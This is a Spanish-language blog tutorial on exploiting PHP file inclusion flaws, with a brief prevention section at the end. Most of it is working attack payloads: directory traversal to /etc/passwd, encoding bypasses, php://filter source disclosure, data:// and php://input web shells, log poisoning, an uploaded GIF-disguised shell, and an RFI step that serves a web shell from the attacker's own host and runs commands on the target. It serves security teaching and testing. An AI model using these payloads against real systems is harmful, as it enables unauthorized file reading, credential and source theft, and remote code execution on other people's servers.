Secciones
1. Introducción
La inclusión de archivos es una vulnerabilidad crítica que permite a atacantes leer archivos locales o remotos en un servidor. En este post, exploraremos cómo funcionan estos ataques, técnicas avanzadas para explotarlos y cómo proteger tus sistemas. ¡Vamos al grano! 🔍
2. ¿Qué es la Inclusión de Archivos?
Cuando una aplicación web carga dinámicamente archivos basados en entradas del usuario (como parámetros GET/POST), un atacante puede manipular estas entradas para incluir archivos no autorizados. Existen dos tipos principales:
- LFI (Local File Inclusion): Incluir archivos locales del servidor (ej:
/etc/passwd
). - RFI (Remote File Inclusion): Cargar archivos desde servidores remotos (ej: un script malicioso alojado en tu máquina).
Ejemplo Básico de LFI
Imagina una aplicación PHP que carga páginas usando el parámetro language
:
if (isset($_GET['language'])) {
include($_GET['language']);
}
Un atacante podría explotarlo así:
http://ejemplo.com/index.php?language=/etc/passwd
¡Boom! El servidor muestra el contenido de /etc/passwd
. 💥
3. Técnicas Avanzadas de LFI
Recorrido de Directorios (Directory Traversal)
Si la aplicación añade un prefijo (ej: include("lenguajes/" . $_GET['language']);
), usa ../
para escapar:
http://ejemplo.com/index.php?language=../../../../etc/passwd
Bypass de Filtros
- Codificación URL: Si filtran
../
, usa%2e%2e%2f
:
language=%2e%2e%2f%2e%2e%2fetc%2fpasswd
- Truncamiento de Rutas: En versiones antiguas de PHP, cadenas largas truncaban la extensión:
language=non_existing_directory/../../../etc/passwd/./././...[2048 veces]
Lectura de Código Fuente con Filtros PHP
Usa php://filter
para leer archivos PHP en Base64:
http://ejemplo.com/index.php?language=php://filter/read=convert.base64-encode/resource=config.php
Decodifica la salida para ver el código fuente. 🕵️
4. Ejecución Remota de Código (RCE)
Wrappers PHP Peligrosos
- data://: Ejecuta código Base64:
language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+ &cmd=id
- php://input: Envía código vía POST:
curl -X POST --data "<?php system('id'); ?>" "http://ejemplo.com/index.php?language=php://input"
- expect://: Ejecuta comandos directamente (si está instalado):
language=expect://id
5. RFI: Incluyendo Archivos Remotos
Si allow_url_include
está habilitado, carga un script malicioso desde tu servidor:
# En tu máquina:
echo '<?php system($_GET["cmd"]); ?>' > shell.php
python3 -m http.server 8080
# Explotación:
http://ejemplo.com/index.php?language=http://tudirección:8080/shell.php&cmd=id
6. Combinando LFI con Carga de Archivos
Sube una «imagen» con código PHP oculto:
echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif
Luego, inclúyela:
http://ejemplo.com/index.php?language=./uploads/shell.gif&cmd=id
7. Envenenamiento de Logs
Contamina archivos de registro (ej: access.log
) con PHP:
curl -H "User-Agent: <?php system(\$_GET['cmd']); ?>" http://ejemplo.com
Luego, incluye el log:
http://ejemplo.com/index.php?language=/var/log/apache2/access.log&cmd=id
8. Herramientas de Automatización
- FFuf: Para fuzzear parámetros y rutas:
ffuf -w diccionario.txt -u "http://ejemplo.com/index.php?FUZZ=valor"
- LFI-Suite: Escanea y explota vulnerabilidades automáticamente.
9. Prevención: ¡No Seas Víctima!
- Validación Estricta: Usa listas blancas para rutas permitidas.
- Deshabilita Funciones Peligrosas: Configura
php.ini
para desactivarallow_url_include
yallow_url_fopen
. - Sanitiza Entradas: Reemplaza
../
y usa funciones comobasename()
. - WAF: Implementa un firewall de aplicaciones web para bloquear payloads maliciosos.
10. Conclusión
La inclusión de archivos es una puerta trasera crítica. Dominar estas técnicas te ayudará a proteger tus aplicaciones y entender cómo piensan los atacantes. ¡Experimenta en entornos controlados y nunca dejes de aprender! 🛡️